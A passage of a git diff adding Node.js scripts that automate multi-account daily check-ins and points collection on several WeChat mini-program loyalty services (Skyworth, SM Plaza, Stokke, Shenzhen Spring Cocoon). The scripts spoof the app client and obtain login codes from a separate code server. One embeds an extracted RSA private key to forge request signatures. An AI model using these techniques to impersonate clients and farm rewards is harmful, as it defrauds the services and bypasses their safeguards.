}, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code || data?.phoneCode || data?.data?.phoneCode; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const { status, data } = await axios.post( + `${UIC_BASE}/passport/general/auth.json`, + { + appId: MINI_APP_ID, + code, + platformName: "weapp", + signature: "Windows", + }, + { + headers: { + "Content-Type": "application/json", + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/54/page-frame.html`, + "X-Requested-With": "XMLHttpRequest", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + if (status !== 200 || data?.code !== 0 || !data?.data?.sessionId) { + throw new Error(`UIC登录失败: HTTP ${status} ${typeof data === "string" ? data.slice(0, 200) : JSON.stringify(data)}`); + } + this.token = data.data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data.data?.nickName || data.data?.nickname || ""} ${maskPhone(data.data?.mobile)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPoints("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getPoints(label = "积分") { + const data = await this.request({ apiPath: "wscump/integral/user_points.json" }); + const points = data?.current_points ?? data?.real_points ?? data?.total_points ?? "未知"; + $.log(`账号[${this.index}] ${label}: ${points}积分`); + return data; + } + + async getCheckinInfo() { + const data = await this.request({ apiPath: "wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || data?.checkin_id || ""; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${data?.isShow} showPage=${data?.showPage}`); + return data; + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到签到活动,跳过`); + return; + } + try { + const data = await this.request({ + apiPath: "wscump/checkin/checkinV2.json", + query: { checkinId: this.checkinId }, + }); + const award = (data?.list || []) + .map((item) => item?.infos?.title || item?.infos?.desc || "") + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${award ? ` ${award}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已经签到|重复|今日.*签|参与次数|最大参与次数/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + if (/手机号未授权|mobile.*authorized/i.test(message)) { + $.log(`账号[${this.index}] 签到失败: 用户手机号未授权,请先在小程序内完成手机号授权`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === -1 || e.code === 40010 || e.code === 40009 || /登录|token|session|access/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/skyworth.js b/wxapp/skyworth.js new file mode 100644 index 00000000..eca6a3f1 --- /dev/null +++ b/wxapp/skyworth.js @@ -0,0 +1,264 @@ +/* +创维会员中心 - 签到/查询 +cron: 38 8 * * * + +变量名:skyworth 或 chuangwei +变量值: + 1. wx_server 中保存的 openid,多账号用 & 或换行分隔 + 2. openid#token,可直接复用登录 token + 3. JSON:{"openid":"...","token":"...","remark":"..."} + +依赖变量:wx_server_url、wx_auth +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("创维会员中心"); +const axios = require("axios"); +const crypto = require("crypto"); + +const CK_NAME = process.env.skyworth ? "skyworth" : "chuangwei"; +const MINI_APP_ID = "wxff438d3c60c63fb6"; +const PACKAGE_VERSION = "371"; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const API_BASE = "https://uc-api.skyallhere.com/miniprogram/api"; +const SIGN_TASK_CODES = ["TS00016", "TS00017"]; +const TASK_PRIVATE_KEY = `-----BEGIN RSA PRIVATE KEY----- +MIIBPAIBAAJBAMJrqTwwvDRo/NP3Pjq0wfeHtfAcwRu5vk5yTfdGmKAAqG9M9Bu8 +COIBN/B0lGUcUx4HP4eIvK17HoIut8shun8CAwEAAQJAXVNWymjOfw4ChzFAsud/ +0HVZlWgIHmn7+yYNXOyLaQnv8I7GTrVe85lnAvcmboSvpr5KFGzhY0KDpAnCcDsh +QQIhAPzyeP4ncY7cLkftHPUTSg7Tkve/gJUFZN7q2pW0KEGfAiEAxMRcDf8yqSXP +VfUmJpnzranrFRIAs9Eqi1jzbB4KmyECIQCu2hJHZg66uXuInuEQjKf5+PJzLj79 +RIBJFEHLkIDvcwIhALvLwSQmvd5MVN9wU1IiOz0zYEfC3+K/LkDCy8kTvwGhAiEA +8OKljQOdOhQcWver4UsvF5jwGPC5CqkPq/not9YLtU4= +-----END RSA PRIVATE KEY-----`; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 500) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function mask(value = "") { + value = String(value || ""); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +function parseAccount(raw = "") { + const text = String(raw || "").trim(); + if (!text) return {}; + + if (text.startsWith("{")) { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || "", + token: data.token || data.accessToken || "", + remark: data.remark || data.name || "", + }; + } + + const [openid, token, remark] = text.split("#").map((item) => item.trim()); + if (!token && /^eyJ/.test(openid)) return { token: openid, openid: "", remark: "" }; + return { openid, token, remark }; +} + +function uuid() { + if (crypto.randomUUID) return crypto.randomUUID(); + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c) => { + const r = (Math.random() * 16) | 0; + const v = c === "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function taskSignHeaders(data = {}) { + const payload = { ...data }; + const nonce = uuid(); + const timestamp = Date.now(); + payload.nonce = nonce; + payload.timestamp = timestamp; + + const preSign = Object.keys(payload) + .sort() + .filter((key) => key !== "taskCode" && key !== "snCode") + .map((key) => `${key}=${payload[key]}&`) + .join(""); + + const sign = crypto.createSign("RSA-SHA256").update(preSign).sign(TASK_PRIVATE_KEY, "base64"); + return { sign, timestamp: String(timestamp), nonce }; +} + +async function request(options) { + const res = await axios.request({ + timeout: 25000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Accept: "application/json, text/plain, */*", + "content-type": "application/json", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PACKAGE_VERSION}/page-frame.html`, + ...(options.headers || {}), + }, + }); + return { status: res.status, data: res.data, headers: res.headers || {} }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法从 wx_server 获取 code"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH }, + data: { appid: MINI_APP_ID, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取 code 失败 HTTP ${status}: ${short(data)}`); + return code; +} + +class Skyworth { + constructor(rawAccount, index) { + this.index = index; + this.account = parseAccount(rawAccount); + this.token = this.account.token || ""; + this.profile = null; + } + + log(message) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${message}`); + } + + async api(method, path, data = {}, headers = {}) { + const { status, data: result } = await request({ + method, + url: `${API_BASE}${path}`, + params: method.toUpperCase() === "GET" ? data : undefined, + data: method.toUpperCase() === "GET" ? undefined : data, + headers: { + ...(this.token ? { Authorization: `Bearer ${this.token}` } : {}), + ...headers, + }, + }); + if (status !== 200) throw new Error(`${path} HTTP ${status}: ${short(result)}`); + return result; + } + + assertOk(data, name) { + if (Number(data?.code) !== 0) throw new Error(`${name}失败: ${short(data)}`); + return data.data; + } + + async login() { + if (this.token) { + this.log(`使用已有 token: ${mask(this.token)}`); + return; + } + if (!this.account.openid) throw new Error("账号格式错误,请配置 wx_server 中的 openid 或直接配置 token"); + + const code = await getWxCode(this.account.openid); + const ticketData = this.assertOk(await this.api("POST", "/v2/user/exchange", { code }), "换取 ticket"); + const ticket = ticketData?.ticket || ""; + if (!ticket) throw new Error(`换取 ticket 响应异常: ${short(ticketData)}`); + + const loginData = this.assertOk(await this.api("POST", "/v2/user/signin", { ticket }), "登录"); + this.token = loginData?.token || ""; + if (!this.token) throw new Error(`登录响应缺少 token: ${short(loginData)}`); + this.log(`登录成功 token=${mask(this.token)}`); + } + + async queryUser() { + const data = this.assertOk(await this.api("GET", "/v1/get-user"), "用户查询"); + const base = data?.baseInfo || {}; + this.profile = base; + this.log( + `用户信息: ${base.nickName || base.phone || "-"},维豆: ${base.userScore ?? "-"},成长值: ${ + base.growthValue ?? "-" + },今日维豆: ${base.todayScore ?? 0},今日成长: ${base.todayGrowth ?? 0},等级: ${base.userGrade ?? "-"}` + ); + return data; + } + + async queryTasks() { + const data = this.assertOk(await this.api("GET", "/v1/index-task"), "任务查询"); + const list = Array.isArray(data?.list) ? data.list : []; + const signTasks = list.filter((item) => SIGN_TASK_CODES.includes(item.taskLabel)); + if (signTasks.length) { + this.log( + `签到任务: ${signTasks + .map((item) => `${item.taskLabel}/${item.taskTitle}/状态${item.taskStatus}/进度${item.doneNum || 0}/${item.limitNum || 1}`) + .join(",")}` + ); + } else { + this.log("签到任务: 列表中未显示,可能今日已完成或入口隐藏"); + } + return list; + } + + async completeTask(taskCode) { + const headers = taskSignHeaders({ taskCode }); + const result = await this.api("GET", `/v1/complete-task/${taskCode}`, { taskCode }, headers); + if (Number(result?.code) === 20043 && String(result?.msg || "").includes("已完成")) { + this.log(`签到上报 ${taskCode}: 今日已完成`); + return result.msg; + } + const data = this.assertOk(result, `完成任务 ${taskCode}`); + this.log(`签到上报 ${taskCode}: ${data || "成功"}`); + return data; + } + + async sign() { + const tasks = await this.queryTasks(); + const visibleSignCodes = tasks + .filter((item) => SIGN_TASK_CODES.includes(item.taskLabel)) + .map((item) => item.taskLabel); + const codes = visibleSignCodes.length ? visibleSignCodes : SIGN_TASK_CODES; + + for (const code of codes) { + try { + await this.completeTask(code); + } catch (e) { + this.log(`签到上报 ${code}: ${e.message || e}`); + } + await $.wait(500, 1000); + } + } + + async run() { + try { + this.log("开始执行"); + await this.login(); + await this.queryUser(); + await this.sign(); + await this.queryTasks(); + await this.queryUser(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +async function main() { + const accounts = splitAccounts(process.env.skyworth || process.env.chuangwei || ""); + if (!accounts.length) { + $.log("未找到变量 skyworth 或 chuangwei"); + return; + } + for (let i = 0; i < accounts.length; i++) { + await new Skyworth(accounts[i], i + 1).run(); + if (i < accounts.length - 1) await $.wait(1500, 3000); + } +} + +main() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done()); diff --git a/wxapp/smgc.js b/wxapp/smgc.js new file mode 100644 index 00000000..7103f749 --- /dev/null +++ b/wxapp/smgc.js @@ -0,0 +1,275 @@ +/* +------------------------------------------ +@Description: 上美广场(SM广场) - 微信小程序静默登录 + 每日签到(多城市) +cron: 20 9,21 * * * +------------------------------------------ +变量名:smgc +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +smgc_malls 可选,只跑指定城市(逗号分隔,如“成都,厦门”或用MallID);不填=全部5城 +------------------------------------------ +契约(appid wx383a677b99e64655,平台 mallcoo,host m.mallcoo.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;无签名机制) + +平台为“猫酷/mallcoo”多商场会员系统,5个SM广场各是独立 MallID: + 成都=11544 晋江=12135 扬州=12540 厦门=11086 重庆=12305 +每个商场需各自 code 登录(code2session 单次消耗),token+projectId 逐商场缓存。 + +项目 POST /api/home/Mall/GetProjectConfigIDStandard {MallID,Header:{Token:null,systemInfo}}(不需登录) + -> m==1,d = ProjectConfigID +登录 POST /a/liteapp/api/identitys/LoginForThirdV2 + {MallID,Code:,AppID,OpenID:"",NotVCodeAndGraphicVCode:true,SNSType:8,Header:{Token:null,systemInfo}} + -> m==1,d.Token(=后续 token),d.NickName;无 Token 视为未注册/需绑定 +鉴权头 后续请求 Header.Token = `${Token},${ProjectConfigID}` +状态 POST /api/user/user/GetNoticeFavoriteAndCheckinCount {MallId,Header:{Token:auth,...}} + -> m==1,d.IsOpenCheckin / d.IsCheckInToday +签到 POST /api/user/User/CheckinV2 {MallID,Header:{Token:auth,...}} -> m==1,d.Msg +积分 POST /api/user/user/GetUserAndMallCard {MallId,...} -> m==1,d.Bonus +成功码 m==1;错误信息在 e。MallID/城市为固定应用常量,非个人凭证。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("上美广场签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "smgc"; +const MINI_APP_ID = "wx383a677b99e64655"; +const BASE_URL = "https://m.mallcoo.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "smgc_token_cache.json"); + +const EP_PROJECT = "/api/home/Mall/GetProjectConfigIDStandard"; +const EP_LOGIN = "/a/liteapp/api/identitys/LoginForThirdV2"; +const EP_CHECK = "/api/user/user/GetNoticeFavoriteAndCheckinCount"; +const EP_SIGN = "/api/user/User/CheckinV2"; +const EP_ACCOUNT = "/api/user/user/GetUserAndMallCard"; + +const MALLS = [ + { name: "成都", id: 11544 }, + { name: "晋江", id: 12135 }, + { name: "扬州", id: 12540 }, + { name: "厦门", id: 11086 }, + { name: "重庆", id: 12305 }, +]; + +const mallFilter = String(process.env.smgc_malls || "") + .split(/[,,\s]+/) + .map((s) => s.trim()) + .filter(Boolean); +const ACTIVE_MALLS = mallFilter.length + ? MALLS.filter((m) => mallFilter.includes(m.name) || mallFilter.includes(String(m.id))) + : MALLS; + +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) XWEB/16133"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function systemInfo() { + return { + model: "microsoft", + SDKVersion: "3.8.10", + system: "Windows 10 x64", + version: "4.0.6.21", + miniVersion: "DZ.2.5.64.1.SM.24", + }; +} + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function isAuthErr(msg) { + return /token|登录|未登录|未授权|鉴权|失效|过期|重新登录|请先登录|未授权|invalid/i.test(String(msg || "")); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.projectId = ""; + this.nickName = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + cacheKey(mall) { return `${this.account.openid}#${mall.id}`; } + + async post(apiPath, payload, { auth = true } = {}) { + const header = { systemInfo: systemInfo() }; + header.Token = auth ? `${this.token},${this.projectId}` : null; + const body = Object.assign({}, payload, { Header: header }); + const res = await axios.request({ + method: "POST", + url: `${BASE_URL}${apiPath}`, + data: JSON.stringify(body), + headers: { + "user-agent": UA, + "xweb_xhr": "1", + "content-type": "application/json", + accept: "*/*", + referer: `https://servicewechat.com/${MINI_APP_ID}/15/page-frame.html`, + "accept-language": "zh-CN,zh;q=0.9", + }, + timeout: 30000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async getProjectId(mall) { + const data = await this.post(EP_PROJECT, { MallID: mall.id }, { auth: false }); + if (data && data.m === 1 && (data.d || data.d === 0)) return data.d; + throw new Error(`[${mall.name}] 获取项目ID失败: ${data ? (data.e || short(data)) : "无响应"}`); + } + + async doLogin(mall, cachedProjectId) { + this.projectId = cachedProjectId || (await this.getProjectId(mall)); + const code = await this.getCode(); + const data = await this.post( + EP_LOGIN, + { MallID: mall.id, Code: code, AppID: MINI_APP_ID, OpenID: "", NotVCodeAndGraphicVCode: true, SNSType: 8 }, + { auth: false } + ); + if (!data || data.m !== 1) { + const e = data ? (data.e || short(data)) : "无响应"; + if (/未注册|绑定|手机号|会员|注册|授权|用户不存在|不存在|未找到用户|暂无数据|无数据/.test(String(e))) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${e}`); } + throw new Error(`[${mall.name}] 登录失败: ${e}`); + } + const d = data.d || {}; + this.token = String(d.Token || ""); + this.nickName = d.NickName || ""; + if (!this.token) { this.unregistered = true; throw new Error(`NO_ACCOUNT:登录未返回Token(可能未注册/需绑定手机号)`); } + const cache = readCache(); + cache[this.cacheKey(mall)] = { token: this.token, projectId: this.projectId, nickName: this.nickName, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`[${mall.name}] 登录成功${this.nickName ? ` (${this.nickName})` : ""}`); + } + + async ensureLogin(mall) { + this.token = ""; this.projectId = ""; this.nickName = ""; + const cached = readCache()[this.cacheKey(mall)] || {}; + if (cached.token && (cached.projectId || cached.projectId === 0)) { + this.token = cached.token; this.projectId = cached.projectId; this.nickName = cached.nickName || ""; + this.log(`[${mall.name}] 使用缓存token`); + return; + } + await this.doLogin(mall, cached.projectId); + } + + clearCache(mall) { + const cache = readCache(); + delete cache[this.cacheKey(mall)]; + writeCache(cache); + } + + async accountInfo(mall) { + try { + const data = await this.post(EP_ACCOUNT, { MallId: mall.id }); + if (data && data.m === 1) return (data.d || {}).Bonus; + } catch (e) {} + return undefined; + } + + async doSign(mall, retry = true) { + // 1. 查询签到状态 + const st = await this.post(EP_CHECK, { MallId: mall.id }); + if (!st || st.m !== 1) { + const e = st ? (st.e || short(st)) : "无响应"; + if (retry && isAuthErr(e)) { + this.log(`[${mall.name}] 会话失效,重新登录后重试`); + this.clearCache(mall); + await this.doLogin(mall); + return this.doSign(mall, false); + } + return this.log(`[${mall.name}] ❌ 查询签到状态失败: ${e}`); + } + const d = st.d || {}; + if (!d.IsOpenCheckin) return this.log(`[${mall.name}] ⚠️ 该商场未开放签到,跳过`); + if (d.IsCheckInToday) { + const pts = await this.accountInfo(mall); + return this.log(`[${mall.name}] ✅ 今日已签到${pts !== undefined ? `,积分 ${pts}` : ""}`); + } + // 2. 执行签到 + const sr = await this.post(EP_SIGN, { MallID: mall.id }); + if (sr && sr.m === 1) { + const msg = (sr.d || {}).Msg || "签到成功"; + const pts = await this.accountInfo(mall); + return this.log(`[${mall.name}] ✅ 签到成功:${msg}${pts !== undefined ? `,积分 ${pts}` : ""}`); + } + const e = sr ? (sr.e || short(sr)) : "无响应"; + if (/已签|签到过|重复|已完成/.test(String(e))) return this.log(`[${mall.name}] ✅ 今日已签到(${e})`); + if (retry && isAuthErr(e)) { + this.log(`[${mall.name}] 会话失效,重新登录后重试`); + this.clearCache(mall); + await this.doLogin(mall); + return this.doSign(mall, false); + } + this.log(`[${mall.name}] ❌ 签到失败: ${e}`); + } + + async runMall(mall) { + try { + await this.ensureLogin(mall); + await this.doSign(mall); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`[${mall.name}] ⚠️ 该微信号未在此SM广场注册会员(${String(e.message).slice(10)}),先在小程序里登录/绑定一次再跑`); + return; + } + this.log(`[${mall.name}] 执行失败: ${e.message || e}`); + } + } + + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + for (let i = 0; i < ACTIVE_MALLS.length; i++) { + await this.runMall(ACTIVE_MALLS[i]); + if (i < ACTIVE_MALLS.length - 1) await $.wait(1500, 3000); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + $.log(`本次将处理 ${ACTIVE_MALLS.length} 个SM广场:${ACTIVE_MALLS.map((m) => m.name).join("、")}`); + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/stokke.js b/wxapp/stokke.js new file mode 100644 index 00000000..1b1f3761 --- /dev/null +++ b/wxapp/stokke.js @@ -0,0 +1,206 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * 1 +------------------------------------------ +#Notice: +stokke 微信小程序 每周签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:stokke +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("stokke小程序"); +const WeChatServer = require("./wcs.js"); +let ckName = `stokke`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wxe232c36aaca3dc1a', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + + + await this.getUserInfo() + await this.doSign() + } + async getUserToken(code) { + let data = ({ + "code": code, + "spread_spid": 0, + "type": "routine", + "inviteCode": "", + "inviteTime": "" + }); + + let options = { + method: 'POST', + url: 'https://www.stokkeshop.cn/api/front/wechat/authorize/program/login?code=' + code, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'Authori-zation': '', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wxe232c36aaca3dc1a/54/page-frame.html', + 'Accept-Language': 'zh-CN,zh;q=0.9' + }, + data: data + }; + + let { + data: result + } = await axios.request(options); + + if (result?.code == '200') { + this.token = result.data.token + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.message}❌`) + } + } + async getUserInfo() { + let options = { + method: 'GET', + url: `https://www.stokkeshop.cn/api/front/user`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'Authori-zation': '' + this.token + '', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wxe232c36aaca3dc1a/54/page-frame.html', + 'Accept-Language': 'zh-CN,zh;q=0.9' + } + } + let { + data: result + } = await axios.request(options); + if (result?.code == '200') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `[${result.data.nickname}] 积分[${result.data.integral}]🎉`); + + } else { + $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.message}❌`) + } + } + + async doSign() { + let options = { + method: 'POST', + url: `https://www.stokkeshop.cn/api/front/integral-task/finishWeekSign`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'Authori-zation': '' + this.token + '', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wxe232c36aaca3dc1a/54/page-frame.html', + 'Accept-Language': 'zh-CN,zh;q=0.9' + }, + data: {} + }; + let { + data: result + } = await axios.request(options); + + if (result?.code == '200') { + //打印签到结果 + + $.log(`签到成功 🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.message}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/wxapp/szgc.js b/wxapp/szgc.js new file mode 100644 index 00000000..fd4b1cf2 --- /dev/null +++ b/wxapp/szgc.js @@ -0,0 +1,260 @@ +/* +------------------------------------------ +@Description: 深圳春茧未来荟(深圳体育湾春茧) - 微信小程序静默登录 + 每日签到 +cron: 40 8 * * * +------------------------------------------ +变量名:szgc +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx6b10d95e92283e1c,host program.springcocoon.com,ABP/ASP.NET Boilerplate 框架,Cookie 会话鉴权): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;鉴权走 requests.Session 的 Cookie,非 token) + +关键:这是 cookie-session 流程,本脚本自带极简 CookieJar + 手动跟随重定向来复刻 requests.Session 行为。 +登录 POST /szbay/Weixin/Home/MiniProgramLoginAsync {Code:code, TenancyName:"szbay", AppId:appid} + -> success===true(服务端下发鉴权 cookie;不返回 token,认证完全靠 cookie) +XSRF GET /szbay/AppInteract/SignIn/Index -> 下发 XSRF-TOKEN cookie,回填到 X-XSRF-TOKEN 头 +签到 POST /szbay/api/services/app/SignInRecord/SignInAsync + {id:"6c3a00f6-b9f0-44a3-b8a0-d5d709de627d", webApiUniqueID:"404e4880-25da-255b-f6e3-cded50d2cb52"} + -> success===true,result.listSignInRuleData[0].point 为本次积分; + 已签/失败 success===false,error.message 提示 +TenancyName/AppId/id/webApiUniqueID 均为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("深圳春茧未来荟签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const https = require("https"); +const crypto = require("crypto"); +const WeChatServer = require("./wcs.js"); + +// 复刻原脚本 TLSAdapter:该服务器要求 OP_LEGACY_SERVER_CONNECT + SECLEVEL=1 +// 否则 Node(OpenSSL3) 报 "unsafe legacy renegotiation disabled" +const httpsAgent = new https.Agent({ + keepAlive: true, + secureOptions: 